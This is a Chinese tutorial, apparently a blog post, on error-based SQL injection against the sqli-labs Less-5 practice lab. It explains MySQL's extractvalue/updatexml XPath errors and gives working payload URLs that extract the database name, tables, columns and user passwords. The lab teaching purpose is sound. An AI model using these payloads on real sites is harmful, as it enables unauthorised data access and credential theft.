一、报错注入知识铺垫
报错注入:extractvalue、updatexml报错原理
在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
- ExtractValue() 使用XPath表示法从XML字符串中提取值
- UpdateXML() 返回替换的XML片段
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错。
1、extractvalue函数
- 语法:
ExtractValue(xml_frag, xpath_expr)
- 接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
- extractvalue使用时当xpath_expr格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
- 第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径
例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b');
就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
http://localhost/sqli-labs/Less-5?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) -- +
- 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
- 该语句对输出的字符长度也做了限制,其最长输出32位
2、updatexml函数
- 语法:
UpdateXML(xml_target, xpath_expr, new_xml)
- xml_target:: 需要操作的xml片段
- xpath_expr: 需要更新的xml路径(Xpath格式)
- new_xml: 更新后的内容
- updatexml使用时,当xpath_expr格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。
http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),3) -- +
- 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
- 同样该语句对输出的字符长度也做了限制,其最长输出32位
二、报错注入复现
1、判断注入点
http://localhost/sqli-labs/Less-5?id=1
http://localhost/sqli-labs/Less-5?id=1'
http://localhost/sqli-labs/Less-5?id=1' and 1=1 -- + // 字符型注入
http://localhost/sqli-labs/Less-5?id=1' and 1=2 -- +
http://localhost/sqli-labs/Less-5?id=-1
综合以上操作可以得出结论:
- 页面无回显,不会显示我们的查询结果。
- 查询语句正确时页面会打印
You are in...........
,错误则不显示。
可以通过布尔盲注来判断我们想要的信息,参考文章:https://www.cnblogs.com/Xy–1/p/12726288.html
这里我们用报错的注入方式。
2、报错查询
查询数据库及相关信息
http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) -- +
查询当前数据库的所有表
http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- +
查询users表字段信息
http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) -- +
查询用户和用户密码
http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(" ",username,password)) from security.users),0x7e),1) -- +
该语句对输出的字符长度也做了限制,其最长输出32位。上图显示的用户信息长度为32位。
第六关和第五关相同,单引号变双引号!
三、总结
本关sql注入可以实现的三种方式:
布尔盲注:
- 没有WAF
- 对请求次数没有限制
报错注入
- sql版本大于5.1
- 输出的字符长度也做了限制,其最长输出32位
DNSLog注入
- secure_file_priv 需要为空
- 往期回顾:https://blog.csdn.net/weixin_44032232/article/details/109262724
参考文章: